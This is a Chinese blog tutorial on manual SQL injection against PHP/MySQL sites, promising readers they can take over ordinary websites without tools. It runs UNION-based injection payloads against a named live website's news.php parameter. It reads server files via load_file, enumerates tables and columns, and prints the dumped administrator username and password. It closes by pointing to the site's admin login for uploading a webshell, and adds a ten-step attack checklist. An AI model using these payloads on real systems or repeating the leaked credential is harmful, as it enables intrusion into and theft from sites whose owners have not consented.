mysql手工注入教程_教程是php手工注入

大家好,今天给大家带的教程是php手工注入,看了这个教程你会在不用工具的情况下,

拿下一般的php网站!!!

目标网站:http://www.atextile.org.cn:81

注入点:  http://www.atextile.org.cn:81/news.php?id=780

1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为

http://www.xxxx.com/aa.asp?p=xxx

http://www.xxxx.com/aa.aspx?p=xxx

http://www.xxxx.com/aa.php?p=xxx

2.判断是否存在注入

不管是asp.aspx.php,注入点的判断都是这样的

http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页

http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页

存在注入

3.猜解准确字段数

(不明白原理的请多看看这方面的文章,这只讲实际运用)

利用union来查询准确字段,如: and 1=2 union select  1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用 /**/代替。

http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7

http://www.atextile.org.cn:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7

记下这个位置,3 和5

4.mysql也有内置变量,可以帮助我们获得更多信息

version()(4.0.21-nt)返回当前数据库版本信息,database(){db_atextile_org_cn} 返回当前数据库名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西

现在就在3和5这插入

http://www.atextile.org.cn:81/news.php?id=780%20and%201=2%20union%20select%201,2,version(),4,5,6,7

Load_file可以返回文件的内容

(1),读取系统信息

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex"

(2)读取php配置信息

我们转化一下,

load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))

5.准确猜解表

如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。

http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin

说明没有admin表

http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user

正常说明有这个表

6.猜解表中的字段

and 1=1 union select 1,username,3,4,5,6....  from user/*如果字段显示出字段内容则存在些字段。

http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user

http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user

有字段name

同理再猜解password字段,猜解成功再找后台登录。

http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user

http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user

有字段pwd

7.暴管理员的用户名,密码是多少

http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user

http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user

name:admin

pwd:83863176

7.登录后台,上传shell。

普通管理

备份数据库

配置选项

群体信件

恢复数据库

表情符号

http://www.atextile.org.cn:81/admin/login.php

1.gif php注入十点基本步骤   [ 日期:2006-11-22 ]   [ 来自:本站原创 ]

1.判断是否存在注入,加';and 1=1;and 1=2

2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询

3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10

4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。

5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。

6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。

7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。

8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。

9.同理再猜解password字段,猜解成功再找后台登录。

10.登录后台,上传shell。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值